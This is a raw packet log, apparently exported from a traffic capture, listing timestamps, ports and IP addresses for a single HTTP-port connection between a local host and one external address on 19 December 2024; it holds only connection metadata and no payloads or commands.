Dec 19, 2024 07:56:46.202553034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.202959061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.256299019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.333697081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.333812952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.333878040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.334120035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.334222078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.334270000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.335342884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.335650921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.335721970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.335791111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.336793900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.336854935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.336946011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.338046074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.338061094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.338109016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.339179039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.339205027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.339246988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.340279102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.340338945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.340375900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.341456890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.341501951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.341528893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.342730045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.342745066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.342787981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.344389915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.344407082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.344444990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.344933987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.345021963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.345076084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.346128941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.346201897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.346240044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.347302914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.347372055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.347378969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.348725080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.348741055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.348790884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.349637032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.349685907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.349854946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.350797892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.350850105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.350908041 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.351949930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.352013111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.352036953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.353163004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.353177071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.353246927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.354207993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.354270935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.354290009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.355362892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.355473042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.355490923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.356612921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.356678963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.356682062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.358532906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.358620882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.358654022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.359877110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.359934092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.359942913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.360778093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.360851049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.360909939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.360975027 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.361835957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.361900091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.361975908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.362739086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.362838030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.362864017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.363568068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.363580942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.363626003 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.364739895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.364828110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.364877939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.365869999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.365916014 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.365947962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.367075920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.367177010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.367211103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.368148088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.368202925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.368272066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.369457006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.369472027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.369518042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.370630980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.370646000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.370691061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.371771097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.371787071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.371828079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.372893095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.372919083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.372946978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.373996019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.374059916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.374083042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.375209093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.375233889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.375263929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.376410007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.376465082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.376507998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.377568007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.377651930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.377698898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.378659964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.378788948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.378830910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.379853964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.379971981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.380862951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.381262064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.381275892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.381323099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.382164955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.382205963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.382282972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.383336067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.383387089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.383388042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.384470940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.384538889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.385490894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.385744095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.385756969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.385785103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.386854887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.386970997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.387131929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.388106108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.388122082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.388159990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.389394045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.389410019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.389446974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.390494108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.390508890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.390543938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.392704964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.392720938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.392733097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.392745018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.392762899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.392786026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.393881083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.395387888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.395404100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.395436049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.443806887 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.525542021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.525899887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.525919914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.525980949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.526273966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.526287079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.526320934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.527501106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.527514935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.527550936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.527709961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.528858900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.528872967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.528913975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.532852888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.532866001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.532929897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.532969952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.532980919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.533015966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.533416986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.533428907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.533462048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.534552097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.534564972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.534606934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.535883904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.535897017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.535928011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.536932945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.536946058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.536983013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.538187981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.538199902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.538243055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.538988113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.539072990 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.540132046 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.540144920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.540185928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.540306091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.541656017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.541668892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.541704893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.542577028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.542627096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.543593884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.543838978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.543903112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.544001102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.544687033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.545114994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.545129061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.545169115 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.546225071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.546269894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.546416044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.547373056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.547385931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.547430992 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.548446894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.548460007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.548502922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.549741030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.549757957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.549794912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.551033974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.551048040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.551090002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.551831007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.551991940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.551991940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.553193092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.553327084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.553376913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.554373980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.554452896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.554609060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.554945946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.554961920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.554995060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.555387974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.555495024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.555635929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.556569099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.556632996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.556797028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.557782888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.557799101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.557848930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.558913946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.558970928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.558978081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.560240030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.560255051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.560314894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.561167002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.561232090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.561323881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.562453985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.562603951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.562665939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.563587904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.563611984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.563638926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.564722061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.564775944 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.564824104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.566011906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.566225052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.566283941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.567050934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.567111015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.567138910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.568283081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.568299055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.568351984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.569437981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.569453001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.569508076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.570532084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.570686102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.570717096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.571783066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.571799040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.571873903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.572840929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.572899103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.573016882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.574121952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.574136972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.574186087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.575336933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.575409889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.575457096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.576827049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.576843023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.576883078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.577572107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.577586889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.577646971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.578757048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.578818083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.578846931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.579824924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.579895973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.579967022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.581068993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.581124067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.581125975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.582185984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.582241058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.582298040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.583295107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.583400011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.583465099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.584472895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.584597111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.584624052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.585633993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.585697889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.585745096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.631287098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.632692099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.651657104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.717933893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.717951059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.718023062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.718535900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.718549967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.718592882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:46.719233036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.719248056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:46.719310045 CET	49744	80	192.168.2.4	185.215.113.16
